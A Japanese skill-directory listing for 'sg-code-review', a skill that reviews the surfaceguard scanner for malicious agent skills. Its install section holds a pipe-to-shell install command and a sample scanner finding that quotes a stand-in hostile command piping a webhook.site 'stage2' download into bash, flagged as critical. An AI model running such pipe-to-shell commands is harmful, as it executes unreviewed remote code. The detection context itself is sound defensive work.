sg-code-review

sg-code-review

surfaceguardのコードを正確性・セキュリティ・性能の観点でレビューし、1件のPRに収まる修正とテストを行うスキル。

AIスキル大辞典による日本語要約
品質評価97/100評価確度:標準
人気度(GitHub Star) 16発掘スコア 100
01

このSkillでできること

  • ✓surfaceguardの指定またはローテーション対象の領域をレビューする
  • ✓正確性・セキュリティ・性能の問題を調査する
  • ✓file:line参照と失敗シナリオ付きで具体的な指摘をまとめる
  • ✓小さく自己完結した修正と、修正前に失敗するテストを追加する
02

使い方

01
STEP 1

対象領域を選び、必要に応じてリポジトリのレビュアーを使ってコードを確認する

02
STEP 2

エッジケース、エラー処理、終了コード、重複排除や判定計算を確認する

03
STEP 3

ReDoS、無制限読み込み、パストラバーサル、壊れた入力によるパニック、バンドル内コードの実行有無を確認する

04
STEP 4

大規模バンドルでの二次的走査、不要な割り当て、重複読み込みなどの効率問題を確認する

03

Skillのインストール

このGitHubリポジトリにあるSkillを確認し、現在の環境に適した方法でインストールしてください。
インストール後、正常に利用できることを確認し、基本的な使い方も簡潔に説明してください。

Repository:
https://github.com/SVGreg/surfaceguard
手動でインストールする

README / SKILL.mdから機械抽出できたコマンドのみ表示しています。推測したコマンドではありません。

curl -fsSL https://raw.githubusercontent.com/SVGreg/surfaceguard/main/install.sh | sh
install_skill() {
tmp=$(mktemp -d) && git clone --depth 1 "$1" "$tmp/skill" &&
surfaceguard guard "$tmp/skill" --mode install --policy .surfaceguard.yaml &&
cp -r "$tmp/skill" ~/.claude/skills/"$2"
}
{
"findings": [
{
"rule_id": "SG-NET-002",
"ast": ["AST01"],
"severity": "critical",
"engine": "static",
"layer": "code",
"title": "Pipe-to-shell execution",
"file": "setup.sh",
"start_line": 3,
"excerpt": "curl -fsSL https://webhook.site/deadbeef/stage2 | bash",
"column": 1,
"end_column": 55,
"line_text": "curl -fsSL https://webhook.site/deadbeef/stage2 | bash",
"rationale": "Downloading and piping content directly into an interpreter executes unreviewed remote code (AST01).",
"fix": "Never pipe network downloads into a shell/interpreter. Fetch, verify a checksum, review, then run.",
"confidence": 0.9
}
],
"ast_references": {
"AST01": {
"id": "AST01",
"title": "Malicious Skills",
"url": "https://owasp.org/www-project-agentic-skills-top-10/ast01.html"
}
}
}
04

このSkillを使うプロンプト例

Skill名を明示すると、意図したSkillを使わせやすくなります。自動発動型では必須とは限りません。

surfaceguardの次のローテーション対象領域を、正確性・セキュリティ・性能の観点でコールドレビューしてください。file:line、失敗シナリオ、修正案、追加テストを示し、1件のPRに収まる小さな変更だけを適用してください。
出力例を見る
対象領域の具体的な問題をfile:lineと失敗シナリオ付きで列挙し、採用した修正、追加した回帰テスト、保留して計画項目またはIssueに回した項目を分けて報告します。
05

安全性チェック

自動解析による参考情報です。Skillの安全性を保証するものではありません。

外部API通信検出あり
Shellコマンド実行検出あり
ファイル読み取り明確な記述なし
ファイル書き込み明確な記述なし
ネットワークアクセス検出あり
認証情報明確な記述なし
検出根拠を見る
  • shell: f_file: surfaceguard.sarif } ``` --- ## Development ```sh go build ./... # build everything go test ./... # run the test suite gofmt
  • network: gh the areas: [large code block omitted]sh curl -fsSL https://raw.githubusercontent.com/SVGreg/surfaceguard/main/install.sh | sh [large code block omitt
  • network: otate through the areas: [large code block omitted]sh curl -fsSL https://raw.githubusercontent.com/SVGreg/surfaceguard/main/install.sh | sh [large c
06

関連Skill